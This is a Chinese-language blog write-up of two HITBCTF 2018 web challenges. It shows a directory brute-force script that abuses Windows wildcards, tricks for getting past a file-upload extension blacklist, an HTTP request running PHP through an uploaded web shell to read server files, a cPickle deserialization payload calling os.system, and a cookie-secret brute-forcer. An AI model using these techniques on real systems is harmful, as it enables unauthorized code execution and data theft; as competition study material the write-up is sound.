美文网首页CTF我爱编程
[HITBCTF] web writeup

[HITBCTF] web writeup

作者: ckj123 | 来源:发表于2018-04-14 13:16 被阅读132次

    web

    upload

    首先进网站


    F12大法

    看到有一个网站

    进去之后发现会显示图片的长和宽
    可以想一下这个php函数是getimagesize
    我查看了一下php.net里面介绍,他检查的是文件头
    而且可以通过RFI,远程请求,但是一直不行

    看了一下title,what's path 就想着去找路径
    然后我想了一下就想着upload的文件夹
    发现有default的图片
    就在upload上找自己上传的php。。
    陷入死胡同了

    之后辉神跟我说这个是windows下的有windows的特性
    就是 < = * ; > = ?
    用通配符可以看是否访问到网站,之后就可以看到上传到网站的文件夹

    #!/usr/bin/env python
    import requests
    import string
    
    secret = string.ascii_letters + string.digits
    a = ''
    s = requests.session()
    for i in range(39):
        for j in secret:
            url = 'http://47.90.97.18:9999/pic.php?filename=../{}</1523537992.jpg'.format(a+j)
            html = s.get(url)
            if html.content != 'image error':
                a=a+j
                print a
    

    用这个代码可以就爬出了他的文件夹/87194f13726af7ceE27bA2cfE97b60df/
    上传了一下就可以访问这下用windows下的特性
    1.windows大小写都可以被解析,上传Php
    2..php::$DATA这也是一个漏洞
    3.%99 在bp下改88——99会解析错误

    就可以上传上去了
    反弹shell什么的都被禁止了
    POST /87194f13726af7ceE27bA2cfE97b60df/1523539229.php HTTP/1.1
    Host: 47.90.97.18:9999
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://47.90.97.18:9999/87194f13726af7ceE27bA2cfE97b60df/1523539229.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 141
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    
    c=foreach%20(glob(
    "../*")%20as%20%24filename)%20%7B%20echo%20"%24filename%20%3D>%20"%3B
    var_dump(file_get_contents(%24filename))%3B%20%7D;
    
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    Server: Microsoft-IIS/7.0
    X-Powered-By: PHP/5.6.35
    Date: Sat, 14 Apr 2018 03:35:40 GMT
    Connection: close
    Content-Length: 1542
    
     ../87194f13726af7cee27ba2cfe97b60df => bool(false)
    ../admin => bool(false)
    ../flag.php => string(73) "<?php
    echo "flag is here";
    //HITB{e5f476c1e4c6dc66278db95f0b5a228a}
    ?>"
    ../index.html => string(292) "<head>
     <title>Where Path~?</title>
    </head>
        <form action="upload.php" method="post" enctype="multipart/form-data">  
            <input type="file" name="file" value="up"/>  
            <input type="submit" value="upload" name="submit" />  
        </form>  
        <!--pic.php?filename=default.jpg-->"
    ../pic.php => string(219) "<?php
    $path="./87194f13726af7cee27ba2cfe97b60df/";
    if(list($width, $height) = @getimagesize($path.$_GET['filename'])){
        echo "width=$width</br>";
        echo "height=$height";
    }else {
        echo "image error";
    }
    ?>
    "
    ../system => bool(false)
    ../upfile => bool(false)
    ../upload => bool(false)
    ../upload.php => string(685) "<?php
    
    $BlackList = array('asp','php','jsp','php5','asa','aspx','cer','cgi','phtml','ashx','asmx');
    $name = $_FILES['file']['name'];
    $extension = substr(strrchr($name,"."),1);
    $boo = false; 
    $filepath=dirname(__FILE__).'/87194f13726af7cee27ba2cfe97b60df/' ;
    if (isset($_POST["submit"])){
        foreach ($BlackList as $key=>$value){  
            if ($value==$extension){
                $boo=true;  
                break;  
                }  
            } 
         if(!$boo){
            $size=$_FILES['file']['size'];  
            $tmp=$_FILES['file']['tmp_name'];
            $time=intval(time());
            $name=$time.'.'.$extension;
            move_uploaded_file($tmp,$filepath.$name); 
            echo $name;  
                }else {  
            echo "no no no...";  
                }  
                  
            }  
        
    ?>"
    

    看到了

    python revenge

    这道题有源码先下载下来审计一波
    有一个cPickle的库,和一个黑名单,那我猜应该是拿shell
    cpickle就是反序列化漏洞
    上网找了一下反序列化的代码

    class Person(object):
        def __init__(self,username,password):
            self.username = username 
            self.password = password 
        def __reduce__(self):
            return (os.system, ('whoami',))
    admin = Person('admin','admin')
    print '序列化: \n' + cPickle.dumps(admin)
    d=cPickle.dumps(admin)
    print '命令执行结果:\n'
    cPickle.loads(d)
    

    但是这个反序列化漏洞得绕过两个加密
    有一个4长度的secret不过可以爆破随便拿一个下来

    import itertools,string,hashlib
    _string='e041bddb6cc524e63d7de234f81a252ed1e39ba52a175ee51af6f279a3b7a0b3!VnNkYWZhZHNmc2FkZnNhCnAwCi4='
    def break_cookie():
        (hash, msg) = _string.split("!")
        for c in itertools.product(string.ascii_letters + string.digits, repeat=4):
            if hashlib.sha256("%s%s" % (msg, "".join(c))).hexdigest() == hash:
                print("".join(c))
    
    break_cookie()
    
    可以跑出来他的密码是

    有这个就很简单了

    然后看了一下黑名单

    black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
    

    没有过滤input()函数
    这里的话
    在python2中的input函数跟python3不一样,在python2中的input是eval(raw_input())
    有密文了就很简单了=。=可是我一直报错。。。。

    相关文章

      网友评论

        本文标题:[HITBCTF] web writeup

        本文链接:https://www.haomeiwen.com/subject/ownkkftx.html